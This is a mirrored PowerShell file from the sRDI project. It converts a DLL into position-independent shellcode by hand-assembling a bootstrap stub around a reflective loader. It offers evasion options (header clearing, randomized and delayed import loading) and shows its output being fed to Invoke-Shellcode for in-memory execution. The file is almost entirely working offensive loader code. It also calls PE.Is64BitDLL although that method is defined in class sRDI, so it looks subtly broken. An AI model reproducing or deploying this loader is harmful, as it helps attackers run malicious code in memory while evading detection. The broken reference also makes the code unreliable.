mirror of
https://github.com/monoxgas/sRDI
synced 2026-06-06 16:14:36 +00:00
Nick Landers
379 lines
40 KiB
PowerShell
379 lines
40 KiB
PowerShell
$Source = @"
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using System;
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using System.Collections.Generic;
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using System.Runtime.InteropServices;
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using System.Reflection;
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public class sRDI
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{
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[UnmanagedFunctionPointer(CallingConvention.StdCall)]
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delegate IntPtr ReflectiveLoader();
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[UnmanagedFunctionPointer(CallingConvention.Cdecl)]
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delegate bool ExportedFunction(IntPtr userData, uint userLength);
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static uint Ror(uint val, int r_bits, int max_bits)
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{
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return (val >> r_bits) | (val << (max_bits - r_bits));
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}
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public static uint HashFunction(string name)
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{
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uint functionHash = 0;
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name += "\x00";
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foreach (char c in name)
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{
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functionHash = Ror(functionHash, 13, 32);
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functionHash += c;
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}
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return functionHash;
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}
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static unsafe bool Is64BitDLL(byte[] dllBytes)
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{
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bool is64Bit = false;
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GCHandle scHandle = GCHandle.Alloc(dllBytes, GCHandleType.Pinned);
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IntPtr scPointer = scHandle.AddrOfPinnedObject();
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Int32 headerOffset = Marshal.ReadInt32(scPointer, 60);
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UInt16 magic = (UInt16)Marshal.ReadInt16(scPointer, headerOffset + 4);
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if (magic == (UInt16)512 || magic == (UInt16)34404)
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is64Bit = true;
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scHandle.Free();
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return is64Bit;
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}
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public static byte[] ConvertToShellcode(byte[] dllBytes, uint functionHash, byte[] userData, uint flags)
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{
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//MARKER:S
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var rdiShellcode32 = new byte[] { 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};
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var rdiShellcode64 = new byte[] { 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};
|
|
//MARKER:E
|
|
|
|
var newShellcode = new List<byte>();
|
|
|
|
uint dllOffset = 0;
|
|
|
|
if (PE.Is64BitDLL(dllBytes))
|
|
{
|
|
var rdiShellcode = rdiShellcode64;
|
|
int bootstrapSize = 69;
|
|
|
|
// call next instruction (Pushes next instruction address to stack)
|
|
newShellcode.Add(0xe8);
|
|
newShellcode.Add(0x00);
|
|
newShellcode.Add(0x00);
|
|
newShellcode.Add(0x00);
|
|
newShellcode.Add(0x00);
|
|
|
|
// Set the offset to our DLL from pop result
|
|
dllOffset = (uint)(bootstrapSize - newShellcode.Count + rdiShellcode.Length);
|
|
|
|
// pop rcx - Capture our current location in memory
|
|
newShellcode.Add(0x59);
|
|
|
|
// mov r8, rcx - copy our location in memory to r8 before we start modifying RCX
|
|
newShellcode.Add(0x49);
|
|
newShellcode.Add(0x89);
|
|
newShellcode.Add(0xc8);
|
|
|
|
// mov edx, <Hash of function>
|
|
newShellcode.Add(0xba);
|
|
foreach (byte b in BitConverter.GetBytes(functionHash))
|
|
newShellcode.Add(b);
|
|
|
|
// Put the location of our user data in
|
|
// add r8, <Offset of the DLL> + <Length of DLL>
|
|
newShellcode.Add(0x49);
|
|
newShellcode.Add(0x81);
|
|
newShellcode.Add(0xc0);
|
|
foreach (byte b in BitConverter.GetBytes((uint)(dllOffset + dllBytes.Length)))
|
|
newShellcode.Add(b);
|
|
|
|
// mov r9d, <Length of User Data>
|
|
newShellcode.Add(0x41);
|
|
newShellcode.Add(0xb9);
|
|
foreach (byte b in BitConverter.GetBytes((uint)userData.Length))
|
|
newShellcode.Add(b);
|
|
|
|
// push rsi - save original value
|
|
newShellcode.Add(0x56);
|
|
|
|
// mov rsi, rsp - store our current stack pointer for later
|
|
newShellcode.Add(0x48);
|
|
newShellcode.Add(0x89);
|
|
newShellcode.Add(0xe6);
|
|
|
|
// and rsp, 0x0FFFFFFFFFFFFFFF0 - Align the stack to 16 bytes
|
|
newShellcode.Add(0x48);
|
|
newShellcode.Add(0x83);
|
|
newShellcode.Add(0xe4);
|
|
newShellcode.Add(0xf0);
|
|
|
|
// sub rsp, 0x30 - Create some breathing room on the stack
|
|
newShellcode.Add(0x48);
|
|
newShellcode.Add(0x83);
|
|
newShellcode.Add(0xec);
|
|
newShellcode.Add(6 * 8); // 32 bytes for shadow space + 8 bytes for last arg + 8 bytes for stack alignment
|
|
|
|
// mov qword ptr [rsp + 0x28], rcx (shellcode base) - Push in arg 5
|
|
newShellcode.Add(0x48);
|
|
newShellcode.Add(0x89);
|
|
newShellcode.Add(0x4C);
|
|
newShellcode.Add(0x24);
|
|
newShellcode.Add(5 * 8);
|
|
|
|
// Setup the location of the DLL into RCX
|
|
// add rcx, <Offset of the DLL>
|
|
newShellcode.Add(0x48);
|
|
newShellcode.Add(0x81);
|
|
newShellcode.Add(0xc1);
|
|
foreach (byte b in BitConverter.GetBytes(dllOffset))
|
|
newShellcode.Add(b);
|
|
|
|
// mov dword ptr [rsp + 0x20], <Flags> - Push arg 6 just above shadow space
|
|
newShellcode.Add(0xc7);
|
|
newShellcode.Add(0x44);
|
|
newShellcode.Add(0x24);
|
|
newShellcode.Add(4 * 8);
|
|
foreach (byte b in BitConverter.GetBytes((uint)flags))
|
|
newShellcode.Add(b);
|
|
|
|
// call - Transfer execution to the RDI
|
|
newShellcode.Add(0xe8);
|
|
newShellcode.Add((byte)(bootstrapSize - newShellcode.Count - 4)); // Skip over the remainder of instructions
|
|
newShellcode.Add(0x00);
|
|
newShellcode.Add(0x00);
|
|
newShellcode.Add(0x00);
|
|
|
|
// mov rsp, rsi - Reset our original stack pointer
|
|
newShellcode.Add(0x48);
|
|
newShellcode.Add(0x89);
|
|
newShellcode.Add(0xf4);
|
|
|
|
// pop rsi - Put things back where we left them
|
|
newShellcode.Add(0x5e);
|
|
|
|
// ret - return to caller
|
|
newShellcode.Add(0xc3);
|
|
|
|
// Write the rest of RDI
|
|
foreach (byte b in rdiShellcode)
|
|
newShellcode.Add(b);
|
|
|
|
// Write our DLL
|
|
foreach (byte b in dllBytes)
|
|
newShellcode.Add(b);
|
|
|
|
// Write our userdata
|
|
foreach (byte b in userData)
|
|
newShellcode.Add(b);
|
|
|
|
}
|
|
else // 32 Bit
|
|
{
|
|
var rdiShellcode = rdiShellcode32;
|
|
int bootstrapSize = 50;
|
|
|
|
// call next instruction (Pushes next instruction address to stack)
|
|
newShellcode.Add(0xe8);
|
|
newShellcode.Add(0x00);
|
|
newShellcode.Add(0x00);
|
|
newShellcode.Add(0x00);
|
|
newShellcode.Add(0x00);
|
|
|
|
// Set the offset to our DLL from pop result
|
|
dllOffset = (uint)(bootstrapSize - newShellcode.Count + rdiShellcode.Length);
|
|
|
|
// pop eax - Capture our current location in memory
|
|
newShellcode.Add(0x58);
|
|
|
|
// push ebp
|
|
newShellcode.Add(0x55);
|
|
|
|
// mov ebp, esp
|
|
newShellcode.Add(0x89);
|
|
newShellcode.Add(0xe5);
|
|
|
|
// mov edx, eax - copy our location in memory to ebx before we start modifying eax
|
|
newShellcode.Add(0x89);
|
|
newShellcode.Add(0xc2);
|
|
|
|
// push <Flags>
|
|
newShellcode.Add(0x68);
|
|
foreach (byte b in BitConverter.GetBytes(flags))
|
|
newShellcode.Add(b);
|
|
|
|
// push eax
|
|
newShellcode.Add(0x50);
|
|
|
|
// add eax, <Offset to the DLL>
|
|
newShellcode.Add(0x05);
|
|
foreach (byte b in BitConverter.GetBytes(dllOffset))
|
|
newShellcode.Add(b);
|
|
|
|
// add edx, <Offset to the DLL> + <Size of DLL>
|
|
newShellcode.Add(0x81);
|
|
newShellcode.Add(0xc2);
|
|
foreach (byte b in BitConverter.GetBytes((uint)(dllOffset + dllBytes.Length)))
|
|
newShellcode.Add(b);
|
|
|
|
// push <Length of User Data>
|
|
newShellcode.Add(0x68);
|
|
foreach (byte b in BitConverter.GetBytes((uint)userData.Length))
|
|
newShellcode.Add(b);
|
|
|
|
// push edx
|
|
newShellcode.Add(0x52);
|
|
|
|
// push <hash of function>
|
|
newShellcode.Add(0x68);
|
|
foreach (byte b in BitConverter.GetBytes(functionHash))
|
|
newShellcode.Add(b);
|
|
|
|
// push eax
|
|
newShellcode.Add(0x50);
|
|
|
|
// call - Transfer execution to the RDI
|
|
newShellcode.Add(0xe8);
|
|
newShellcode.Add((byte)(bootstrapSize - newShellcode.Count - 4)); // Skip over the remainder of instructions
|
|
newShellcode.Add(0x00);
|
|
newShellcode.Add(0x00);
|
|
newShellcode.Add(0x00);
|
|
|
|
// add esp, 0x14
|
|
newShellcode.Add(0x83);
|
|
newShellcode.Add(0xc4);
|
|
newShellcode.Add(0x14);
|
|
|
|
// leave
|
|
newShellcode.Add(0xc9);
|
|
|
|
// ret - return to caller
|
|
newShellcode.Add(0xc3);
|
|
|
|
//Write the rest of RDI
|
|
foreach (byte b in rdiShellcode)
|
|
newShellcode.Add(b);
|
|
|
|
//Write our DLL
|
|
dllBytes[0] = 0x00;
|
|
dllBytes[1] = 0x00;
|
|
foreach (byte b in dllBytes)
|
|
newShellcode.Add(b);
|
|
|
|
//Write our userdata
|
|
foreach (byte b in userData)
|
|
newShellcode.Add(b);
|
|
}
|
|
|
|
return newShellcode.ToArray();
|
|
}
|
|
}
|
|
"@
|
|
|
|
Function ConvertTo-Shellcode{
|
|
<#
|
|
.SYNOPSIS
|
|
Convert DLL file to position independent shellcode
|
|
|
|
Author: Nick Landers (@monoxgas)
|
|
License: BSD 3-Clause
|
|
Required Dependencies: None
|
|
Optional Dependencies: Invoke-Shellcode.ps1
|
|
|
|
.DESCRIPTION
|
|
Uses ShellcodeRDI to bootstrap and shellcode PE loader to an existing file. When
|
|
execution is passed to the converted shellcode, the DLL file is unpacked and loaded
|
|
in memory.
|
|
|
|
.EXAMPLE
|
|
C:\PS> ConvertTo-Shellcode -File TestDLL_x86.dll
|
|
|
|
.EXAMPLE
|
|
C:\PS> ConvertTo-Shellcode -File MyTool.dll -FunctionName "MyExport" -UserData "MyDataForMyExport"
|
|
|
|
.EXAMPLE
|
|
C:\PS> import-module .\Invoke-Shellcode.ps1
|
|
C:\PS> Invoke-Shellcode -Shellcode (ConvertTo-Shellcode TestDLL_x64.dll -ClearHeader)
|
|
|
|
.PARAMETER File
|
|
The target DLL file to convert
|
|
|
|
.PARAMETER FunctionName
|
|
Name of the exported function to call after DLLMain
|
|
|
|
.PARAMETER UserData
|
|
Data to pass to the target function
|
|
|
|
.PARAMETER ClearHeader
|
|
Clear the PE header on load
|
|
|
|
.PARAMETER PassShellcodeBase
|
|
Pass the shellcode base to the exported function
|
|
|
|
.PARAMETER ObfuscateImports
|
|
Randomize import dependency load order
|
|
|
|
.PARAMETER ImportDelay
|
|
Number of seconds to pause between loading imports (requires -ObfuscateImports)
|
|
#>
|
|
[CmdletBinding()]
|
|
Param(
|
|
[Parameter(Mandatory=$True,Position=1)]
|
|
[string] $File,
|
|
|
|
[Parameter(Position=2)]
|
|
[string] $FunctionName = "SayHello",
|
|
|
|
[Parameter(Position=3)]
|
|
[string] $UserData = "dave",
|
|
|
|
[switch] $ClearHeader,
|
|
|
|
[switch] $PassShellcodeBase,
|
|
|
|
[switch] $ObfuscateImports,
|
|
[int] $ImportDelay = 0
|
|
)
|
|
|
|
$ErrorActionPreference = "Stop"
|
|
|
|
$Parameters = New-Object System.CodeDom.Compiler.CompilerParameters
|
|
$Parameters.CompilerOptions += "/unsafe"
|
|
Add-Type -TypeDefinition $Source -Language CSharp -CompilerParameters $Parameters
|
|
|
|
$FileData = [System.IO.File]::ReadAllBytes((Resolve-Path $File))
|
|
$UserDataBytes = [system.Text.Encoding]::Default.GetBytes($UserData)
|
|
$FunctionHash = [sRDI]::HashFunction($FunctionName);
|
|
|
|
$Flags = 0
|
|
|
|
if($ClearHeader){
|
|
$Flags = ($Flags -bor 0x1)
|
|
}
|
|
|
|
if($PassShellcodeBase){
|
|
$Flags = ($Flags -bor 0x8)
|
|
}
|
|
|
|
if($ObfuscateImports){
|
|
# bitshift the delay into the high 16 bits
|
|
$Delay = $ImportDelay * [math]::pow(2, 16)
|
|
|
|
# bitwise or the 0x4 flag and the shifted delay
|
|
$Flags = (($Flags -bor 0x4) -bor $Delay)
|
|
}
|
|
|
|
return [Byte[]][sRDI]::ConvertToShellcode($FileData, $FunctionHash, $UserDataBytes, $Flags)
|
|
}
|